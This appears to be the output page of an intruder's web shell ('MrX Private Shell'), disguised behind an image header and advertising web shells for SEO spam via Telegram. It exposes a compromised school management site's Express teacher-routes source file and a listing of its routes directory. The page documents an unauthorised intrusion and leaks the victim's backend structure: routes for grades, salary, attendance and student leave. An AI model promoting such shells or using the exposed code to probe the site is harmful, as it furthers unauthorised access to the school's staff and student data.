����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import express from "express";
import { userAuth, checkRole } from "../middlewares/AuthMiddleware.js";
import validateBody from "../middlewares/Validator.js";
import { uploadFile } from "../config/multer.js";
// Import dashboard controllers
import {
getDashboardSummary,
getMonthlyAttendanceOverview,
getRecentQueries,
getCurrentDayOverview,
getAttendanceRatio,
} from "../controllers/teacher/teacherController.js";
// Import timetable controllers
import {
getTodayOverview,
getWeeklyTimetable,
exportTimetable,
} from "../controllers/teacher/teacherTimetableController.js";
// Import account controllers
import {
getAccountTopCards,
getTeachingHoursOverview,
getSalaryStatusTable,
} from "../controllers/teacher/teacherAccountController.js";
// Import quiz controllers
import {
getQuizDashboardCards,
getQuizFilterOptions,
getQuizzes,
createQuiz,
updateQuiz,
deleteQuiz,
getQuizDetails,
closeQuiz,
downloadQuizTemplate,
gradeQuizSubmission,
publishQuiz,
getAllSubmissionsForGrading
} from "../controllers/teacher/teacherQuizController.js";
// Import query controllers
import {
getQueries,
getQueryDetails,
replyToQuery,
updateQueryStatus,
getQueryStats
} from "../controllers/teacher/teacherQueryController.js";
// Import settings controllers
import {
getTeacherProfile,
updateTeacherProfile,
changePassword,
getTeacherPreferences,
updateTeacherPreferences,
} from "../controllers/teacher/teacherSettingsController.js";
import {
createAssignment,
assignToStudents,
deleteAssignment,
getAssignmentSubmissions,
getSingleSubmission,
getTeacherAssignments,
gradeSubmission,
publishAssignment,
updateAssignment,
getClassOptions,
getCourseOptions,
getTeacherOptions,
getClassStudents
} from "../controllers/teacher/teacherAssignmentController.js";
// Import validation schemas
import {
updateUserSchema,
createQuizSchema,
updateQuizSchema,
replyQuerySchema,
queryStatusSchema,
changePasswordSchema,
updatePreferencesSchema,
uploadGradeSchema
} from "../validations/index.js";
import {getAttendanceByClass, getStudentsByClass, takeAttendance} from '../controllers/teacher/studentAttendanceController.js'
import {
uploadGradesExcel,
createGrade,
updateGrade,
publishGrade,
archiveGrade,
getStudentGrades,
getClassGrades,
deleteGrade,
bulkPublishGrades,
deleteAssessment,
addAssessment,
getClassSubjectGrades,
} from "../controllers/teacher/teacherGradeController.js";
import {
// Viewing notifications (targeted to teacher)
getTeacherNotifications,
getTeacherNotificationDetail,
getTeacherNotificationStats,
markTeacherNotificationAsRead,
markAllTeacherNotificationsAsRead,
// CRUD for teacher's own notifications (targeting students)
createTeacherNotification,
updateTeacherNotification,
deleteTeacherNotification,
archiveTeacherNotification,
getTeacherCreatedNotifications,
getTeacherCreatedNotificationDetail
} from '../controllers/notificationController.js'
import {
teacherApplyLeave,
teacherCancelLeave,
teacherGetLeaveDetails,
teacherGetMyLeaves,
teacherGetMyQuota,
teacherGetPendingStudentLeaves,
teacherGetStudentLeaveDetails,
teacherGetStudentLeaves,
teacherProcessStudentLeave
}
from '../controllers/teacher/teacherLeaveController.js'
const router = express.Router();
// Apply teacher authentication middleware to all routes
router.use(userAuth, checkRole(["teacher"]));
// Dashboard routes
router.get("/dashboard/summary", getDashboardSummary);
router.get("/dashboard/monthly-attendance", getMonthlyAttendanceOverview);
router.get("/dashboard/recent-queries", getRecentQueries);
router.get("/dashboard/current-day", getCurrentDayOverview);
router.get("/dashboard/attendance-ratio", getAttendanceRatio);
// Timetable routes
router.get("/timetable/today-overview", getTodayOverview);
router.get("/timetable/weekly", getWeeklyTimetable);
router.get("/timetable/export", exportTimetable);
// Account routes
router.get("/account/summary", getAccountTopCards);
router.get("/account/teaching-hours", getTeachingHoursOverview);
router.get("/account/salary-status", getSalaryStatusTable);
// Quiz routes
router.get("/quiz/dashboard-cards", getQuizDashboardCards);
router.get("/quiz/filter-options", getQuizFilterOptions);
router.get("/quiz", getQuizzes);
router.post(
"/quiz",
uploadFile.single("file"),
createQuiz
);
router.get("/quiz/:id", getQuizDetails);
router.put("/quiz/:id", validateBody(updateQuizSchema), updateQuiz);
router.delete("/quiz/:id", deleteQuiz);
router.patch("/quiz/:id/close", closeQuiz)
router.patch("/quiz/:id/publish", publishQuiz)
router.get("/quiz-template", downloadQuizTemplate)
router.get("/quiz/:quizId/submission/:submissionId/grade", gradeQuizSubmission)
router.get("/quiz-submissions", getAllSubmissionsForGrading)
// Query routes
router.get("/queries", getQueries);
router.get("/queries/:id", getQueryDetails);
router.post("/queries/:id/reply", validateBody(replyQuerySchema), replyToQuery);
router.put(
"/queries/:id/status",
validateBody(queryStatusSchema),
updateQueryStatus
);
router.get("/queries-stats", getQueryStats)
// Settings routes
router.get("/profile", getTeacherProfile);
router.put("/profile", validateBody(updateUserSchema), updateTeacherProfile);
router.put(
"/change-password",
validateBody(changePasswordSchema),
changePassword
);
router.get("/preferences", getTeacherPreferences);
router.put(
"/preferences",
validateBody(updatePreferencesSchema),
updateTeacherPreferences
);
// Student Attendance routes
router.get("/attendance/class/:classId/students", getStudentsByClass);
router.post("/attendance/take", takeAttendance);
router.get("/attendance/class/:classId/records", getAttendanceByClass);
// Assignment routes
router.post(
"/assignment/",
uploadFile.array("files", 20),
createAssignment
);
router.put(
"/assignment/:id",
uploadFile.array("files", 20),
updateAssignment
);
router.delete("/assignment/:id", deleteAssignment);
router.patch("/assignment/:id/publish", publishAssignment);
router.patch("/assignment/:id/assign", assignToStudents);
router.get("/assignment", getTeacherAssignments);
router.get("/assignment/:id/submissions", getAssignmentSubmissions);
router.get("/assignment/:assignmentId/submission/:submissionId", getSingleSubmission);
router.patch(
"/assignment/:assignmentId/submission/:submissionId/grade",
gradeSubmission
);
router.get("/teacher-options", getTeacherOptions)
router.get("/class-options", getClassOptions)
router.get("/course-options", getCourseOptions)
router.get("/class/:classId/students", getClassStudents)
// Grade routes
router.post("/grades/upload", uploadFile.single("file"), uploadGradesExcel);
router.post("/grades", createGrade);
router.put("/grades/:id", updateGrade);
router.post("/grades/:id/assessment", addAssessment);
router.patch("/grades/:id/publish", publishGrade);
router.patch("/grades/bulk-publish", bulkPublishGrades);
router.patch("/grades/:id/archive", archiveGrade);
router.delete("/grades/:id", deleteGrade);
router.delete("/grades/:id/assessment/:assessmentName", deleteAssessment);
router.get("/grades/class/:classId", getClassGrades);
router.get("/grades/class/:classId/subject/:courseId", getClassSubjectGrades);
router.get("/class-options", getClassOptions)
router.get("/course-options", getCourseOptions)
router.get("/grades-class/:classId/students", getClassStudents)
// Notification routes
// ----- INBOX: View notifications targeted to teacher -----
router.get("/notifications/inbox/stats", getTeacherNotificationStats);
router.get("/notifications/inbox", getTeacherNotifications);
router.get("/notifications/inbox/:id", getTeacherNotificationDetail);
router.patch("/notifications/inbox/:id/read", markTeacherNotificationAsRead);
router.patch("/notifications/inbox/read-all", markAllTeacherNotificationsAsRead);
// ----- SENT: Manage notifications created by teacher (for students) -----
router.get("/notifications/sent", getTeacherCreatedNotifications);
router.get("/notifications/sent/:id", getTeacherCreatedNotificationDetail);
router.post("/notifications", uploadFile.array("attachments", 10), createTeacherNotification);
router.put("/notifications/:id", uploadFile.array("attachments", 10), updateTeacherNotification);
router.patch("/notifications/:id/archive", archiveTeacherNotification);
router.delete("/notifications/:id", deleteTeacherNotification);
// Leave routes
// Self-service
router.post("/apply", teacherApplyLeave);
router.get("/my-leaves", teacherGetMyLeaves);
router.get("/my-quota", teacherGetMyQuota);
router.get("/my-leave/:id", teacherGetLeaveDetails);
router.delete("/cancel/:id", teacherCancelLeave);
// Student leave management
router.get("/student-leaves", teacherGetStudentLeaves);
router.get("/student-leaves/pending", teacherGetPendingStudentLeaves);
router.get("/student-leave/:id", teacherGetStudentLeaveDetails);
router.put("/student-leave/process/:id", teacherProcessStudentLeave);
export default router;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| accountsRoutes.js | File | 5.47 KB | 0644 |
|
| adminRoutes.js | File | 19.54 KB | 0644 |
|
| health.js | File | 255 B | 0644 |
|
| hrRoutes.js | File | 15.27 KB | 0644 |
|
| index.js | File | 573 B | 0644 |
|
| studentRoutes.js | File | 4.82 KB | 0644 |
|
| teacherRoutes.js | File | 8.8 KB | 0644 |
|
| userRoutes.js | File | 794 B | 0644 |
|